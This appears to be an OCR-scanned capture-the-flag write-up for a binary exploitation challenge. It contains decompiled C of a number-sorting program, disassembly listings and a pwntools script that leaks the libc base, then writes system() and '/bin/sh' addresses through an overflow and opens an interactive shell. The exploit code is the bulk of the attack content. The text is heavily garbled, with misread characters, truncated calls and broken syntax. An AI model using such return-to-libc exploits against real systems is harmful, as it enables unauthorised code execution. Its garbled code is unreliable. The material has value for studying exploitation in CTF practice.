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int _ cdecl main(int argc, const char **argv, const char **envp)

{
int v3; // eax
int *wa; /) edi
unsigned int v5; // esi
unsigned int v&; // esi
int v7; // 5Tes_4
int result; // eax
unsigned int v9; // [esp+l8h] [ebp-74h]
int v1@; // [esp+lCh] [ebp-78h]
char buf; // [esp+3Ch] [ebp-58h]
unsigned int v12; // [esp+7Ch] [ebp-18h]
v12 = _ readgsdword(@x14u);
init();
_ printf_chk(1, "what your name :");
read(@, &buf, @xd48u);
_ printf_chk(1, "Hellc ¥s,How many numbers do you what te sort :™);
_ iz0c99_scanf("Hu", &v9);
w3 = v9;
if ( va )
{
vid = &vl@;
vs = 8;
do
__ printf_chk(1, "Enter the ¥d number : ");
fflush(stdout);
_ is0c99 scanf("¥u", v4);
++w5;
w3 = v9;
+vds
while ( v > vsS );
}
sort({unsigned int *)&vle, v3);
puts("Result :");
if ( va )
vb = 83
do
w7 = ¥(&v1@ + ve);
_ printf_chk(l, "%u ");
b
while ( v9 > v& );
result = @;
if ( __readgsdword(@xl4u) != v12 )
sub_S565D3BAE();
return result;
)
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Ltext:0a008903 push ebp
.text:pe0089C4 mov ebp, esp
Ltext:ea008906 push edi
Ltext:eee889C7 push esi
Ltext:0a008903 push ebx
Ltext:pe0089C9 and esp, BFFFFFFFeh
LexteeeeeaCC add esp, BFFFFFF88h
.text:eepeeaCr call sub_7s@

Ltext: pepapaDd add ebx) 15CCh
.text: 808088904 mov eax, large gs:14h
.text:000089ER mov [esp+7Ch], eax
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BE1CE Gebebale
BELCC Gedepall
BE1DE Gebedal2
EE1D4 Gepepals
BE1DS Gebebald
BEE1DC ©epepals
BElER GebeBe16
BEELE4 Gepepal’
BE1ES ©ebedals
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o jitixlibc.

name Ox1c
sh.sendafter
sh.recvuntil oxlc

libc_base=u32(sh.recv(4))-init_array
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88181244 _init_array segment dword public "DATA' use32
B81B1244 assume cs:_init_array
BalB1244 sorg 1B1244h
B81B1244 dd offset sub_18@38@
B@1B1248 dd offset sub_l88A8
.init_array:@81B124C dd offset dword_ 18368
Linit_array:@e16124C _init_array ends
T & 0x1ae244.
Jinit_array:@e1lAE244 _init array segment dword public "DATA' use32
.init_array:@@LlAE244 assume cs:_init_array
Jinit_array:@@1AE244 ;org 1AE244h
.init_array:@@1lAE244 dd offset sub_18@28
Jinit_array:@@1AE248 dd offset sub_18@98@
.init_array:@@LlAE24C dd offset dword_18358@
Jinit_array:@0LAE24C _init array ends
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system_addr=1ibc_base+system_libc

bin_sh_addr=1libc_base+bin_sh_libc
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num=35
sh.sendlineafter(

for i in (1,25):
print(i)
sh.sendlineafter(

sh.sendlineafter(

for i in (9):
sh.sendlineafter( (system_addr))

sh.sendlineafter( (bin_sh_addr))

0x2 exp



from pwn import

sh=process(

1ibc=ELF(

init_array=0x1b1244
else:

sh=remote(

libc=ELF(

init_array=0xlae244

system_libc=1ibc.symbols|
bin_sh libc=1libc.search(

,hame)
libc_base=u32(sh.recv(4))-init_array
print (libc_base)
system_addr=1ibc_base+system_libc

bin_sh_addr=1ibc_base+bin_sh_libc

num=35
sh.sendlineafter(

for i in (1,25):
print(i)
sh.sendlineafter(

sh.sendlineafter(

for i in (9):

sh.sendlineafter( (system_addr))

sh.sendlineafter( (bin_sh_addr))
sh.interactive()
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